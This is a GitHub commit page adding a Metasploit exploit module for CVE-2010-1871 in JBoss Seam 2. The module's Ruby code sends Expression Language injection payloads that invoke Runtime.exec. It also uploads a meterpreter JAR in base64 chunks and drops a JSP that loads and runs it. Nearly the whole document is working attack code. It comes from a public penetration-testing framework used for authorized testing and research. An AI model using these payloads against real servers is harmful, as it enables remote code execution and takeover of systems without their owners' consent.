Skip to content

Commit 0f7c644

Browse files
committed
Land rapid7#4784, JBoss Seam 2 upload exec exploit
2 parents 4f818dc + 69b3797 commit 0f7c644

File tree

1 file changed

+311
-0
lines changed

1 file changed

+311
-0
lines changed
Lines changed: 311 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,311 @@
1+
#
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = NormalRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Exploit::FileDropper
15+
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'JBoss Seam 2 File Upload and Execute',
20+
'Description' => %q{
21+
Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
22+
sanitize inputs to some JBoss Expression Language expressions. As a
23+
result, attackers can gain remote code execution through the
24+
application server. This module leverages RCE to upload and execute
25+
a meterpreter payload.
26+
27+
Versions of the JBoss AS admin-console are known to be vulnerable to
28+
this exploit, without requiring authentication. Tested against
29+
JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.
30+
31+
This module provides a more efficient method of exploitation - it
32+
does not loop to find desired Java classes and methods.
33+
34+
NOTE: the check for upload success is not 100% accurate.
35+
NOTE 2: The module uploads the meterpreter JAR and a JSP to launch
36+
it.
37+
38+
},
39+
'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
40+
'References' =>
41+
[
42+
# JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
43+
['CVE', '2010-1871'],
44+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
45+
['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
46+
['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
47+
],
48+
'DisclosureDate' => "Aug 05 2010",
49+
'License' => MSF_LICENSE,
50+
'Platform' => %w{ java },
51+
'Targets' =>
52+
[
53+
[ 'Java Universal',
54+
{
55+
'Arch' => ARCH_JAVA,
56+
'Platform' => 'java'
57+
},
58+
]
59+
],
60+
'DefaultTarget' => 0
61+
))
62+
63+
register_options(
64+
[
65+
Opt::RPORT(8080),
66+
OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),
67+
OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]),
68+
OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),
69+
OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
70+
OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]),
71+
OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
72+
], self.class)
73+
end
74+
75+
76+
def check
77+
vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")
78+
uri = target_uri.path
79+
res = send_request_cgi(
80+
{
81+
'uri' => normalize_uri(uri),
82+
'method' => 'POST',
83+
'ctype' => datastore['CTYPE'],
84+
'agent' => datastore['AGENT'],
85+
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
86+
}, timeout=datastore['TIMEOUT'])
87+
if (res and res.code == 302 and res.headers['Location'])
88+
vprint_debug("Server sent a 302 with location")
89+
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
90+
report_vuln({
91+
:host => rhost,
92+
:port => rport,
93+
:name => "#{self.name} - #{uri}",
94+
:refs => self.references,
95+
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
96+
})
97+
return Exploit::CheckCode::Vulnerable
98+
else
99+
return Exploit::CheckCode::Safe
100+
end
101+
else
102+
return Exploit::CheckCode::Unknown
103+
end
104+
105+
# If we reach this point, we didn't find the service
106+
return Exploit::CheckCode::Unknown
107+
end
108+
109+
110+
def execute_cmd(cmd)
111+
cmd_to_run = Rex::Text.uri_encode(cmd)
112+
vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")
113+
uri = target_uri.path
114+
res = send_request_cgi(
115+
{
116+
'uri' => normalize_uri(uri),
117+
'method' => 'POST',
118+
'ctype' => datastore['CTYPE'],
119+
'agent' => datastore['AGENT'],
120+
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
121+
}, timeout=datastore['TIMEOUT'])
122+
if (res and res.code == 302 and res.headers['Location'])
123+
if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))
124+
vprint_status("#{rhost}:#{rport} Exploit successful")
125+
else
126+
vprint_status("#{rhost}:#{rport} Exploit failed.")
127+
end
128+
else
129+
vprint_status("#{rhost}:#{rport} Exploit failed.")
130+
end
131+
end
132+
133+
134+
def call_jsp(jspname)
135+
# TODO ugly way to strip off last resource on a path
136+
uri = target_uri.path
137+
*keep,ignore = uri.split(/\//)
138+
keep.push(jspname)
139+
uri = keep.join("/")
140+
uri = "/" + uri if (uri[0] != "/")
141+
142+
res = send_request_cgi(
143+
{
144+
'uri' => normalize_uri(uri),
145+
'method' => 'POST',
146+
'ctype' => datastore['CTYPE'],
147+
'agent' => datastore['AGENT'],
148+
'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)
149+
}, timeout=datastore['TIMEOUT'])
150+
if (res and res.code == 200)
151+
vprint_status("Successful request to JSP")
152+
else
153+
vprint_error("Failed to request JSP")
154+
end
155+
end
156+
157+
158+
def upload_jsp(filename,jarname)
159+
jsp_text = <<EOJSP
160+
<%@ page import="java.io.*"
161+
%><%@ page import="java.net.*"
162+
%><%
163+
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
164+
Class c = cl.loadClass("metasploit.Payload");
165+
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
166+
%>
167+
EOJSP
168+
vprint_status("Uploading JSP to launch payload")
169+
status = upload_file_chunk(filename,'false',jsp_text)
170+
if status
171+
vprint_status("JSP uploaded to to #{filename}")
172+
else
173+
vprint_error("Failed to upload file.")
174+
end
175+
176+
@pl_sent = true
177+
end
178+
179+
180+
def upload_file_chunk(filename, append='false', chunk)
181+
# create URL-safe Base64-encoded version of chunk
182+
b64 = Rex::Text.encode_base64(chunk)
183+
b64 = b64.gsub("+","%2b")
184+
b64 = b64.gsub("/","%2f")
185+
186+
uri = target_uri.path
187+
res = send_request_cgi(
188+
{
189+
'uri' => normalize_uri(uri),
190+
'method' => 'POST',
191+
'ctype' => datastore['CTYPE'],
192+
'agent' => datastore['AGENT'],
193+
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
194+
}, timeout=datastore['TIMEOUT'])
195+
if (res and res.code == 302 and res.headers['Location'])
196+
# TODO Including the conversationId part in this regex might cause
197+
# failure on other Seam applications. Needs more testing
198+
if (res.headers['Location'] =~ %r(user=&conversationId))
199+
#vprint_status("#{rhost}:#{rport} Exploit successful.")
200+
return true
201+
else
202+
#vprint_status("#{rhost}:#{rport} Exploit failed.")
203+
return false
204+
end
205+
else
206+
#vprint_status("#{rhost}:#{rport} Exploit failed.")
207+
return false
208+
end
209+
end
210+
211+
212+
def get_full_path(filename)
213+
#vprint_debug("Trying to find full path for #{filename}")
214+
215+
uri = target_uri.path
216+
res = send_request_cgi(
217+
{
218+
'uri' => normalize_uri(uri),
219+
'method' => 'POST',
220+
'ctype' => datastore['CTYPE'],
221+
'agent' => datastore['AGENT'],
222+
'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
223+
}, timeout=datastore['TIMEOUT'])
224+
if (res and res.code == 302 and res.headers['Location'])
225+
# the user argument should be set to the result of our call - which
226+
# will be the full path of our file
227+
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
228+
#vprint_debug("Location is " + res.headers['Location'])
229+
if (matches and matches.captures)
230+
return Rex::Text::uri_decode(matches.captures[0])
231+
else
232+
return nil
233+
end
234+
else
235+
return nil
236+
end
237+
end
238+
239+
240+
def java_stager(fname, chunk_size)
241+
@payload_exe = fname + ".jar"
242+
jsp_name = fname + ".jsp"
243+
244+
#data = payload.encoded_jar.pack
245+
data = payload.encoded_jar.pack
246+
247+
append = 'false'
248+
while (data.length > chunk_size)
249+
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
250+
if status
251+
vprint_debug("Uploaded chunk")
252+
else
253+
vprint_error("Failed to upload chunk")
254+
break
255+
end
256+
data = data[chunk_size, data.length - chunk_size]
257+
# first chunk is an overwrite, afterwards, we need to append
258+
append = 'true'
259+
end
260+
status = upload_file_chunk(@payload_exe, 'true', data)
261+
if status
262+
vprint_status("Payload uploaded to " + @payload_exe)
263+
else
264+
vprint_error("Failed to upload file.")
265+
end
266+
267+
# write a JSP that can call the payload in the jar
268+
upload_jsp(jsp_name, @payload_exe)
269+
270+
pe_path = get_full_path(@payload_exe) || @payload_exe
271+
jsp_path = get_full_path(jsp_name) || jsp_name
272+
# try to clean up our stuff;
273+
register_files_for_cleanup(pe_path, jsp_path)
274+
275+
# call the JSP to launch the payload
276+
call_jsp(jsp_name)
277+
end
278+
279+
def exploit
280+
@pl_sent = false
281+
282+
if check == Exploit::CheckCode::Vulnerable
283+
284+
fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8))
285+
286+
vprint_status("#{rhost}:#{rport} Host is vulnerable")
287+
vprint_status("#{rhost}:#{rport} Uploading file...")
288+
289+
# chunking code based on struts_code_exec_exception_delegator
290+
append = 'false'
291+
chunk_size = datastore['CHUNKSIZE']
292+
# sanity check
293+
if (chunk_size <= 0)
294+
vprint_error("Invalid chunk size #{chunk_size}")
295+
return
296+
end
297+
298+
vprint_debug("Sending in chunks of #{chunk_size}")
299+
300+
case target['Platform']
301+
when 'java'
302+
java_stager(fname, chunk_size)
303+
else
304+
fail_with(Failure::NoTarget, 'Unsupported target platform!')
305+
end
306+
307+
handler
308+
end
309+
end
310+
end
311+

0 commit comments

Comments
 (0)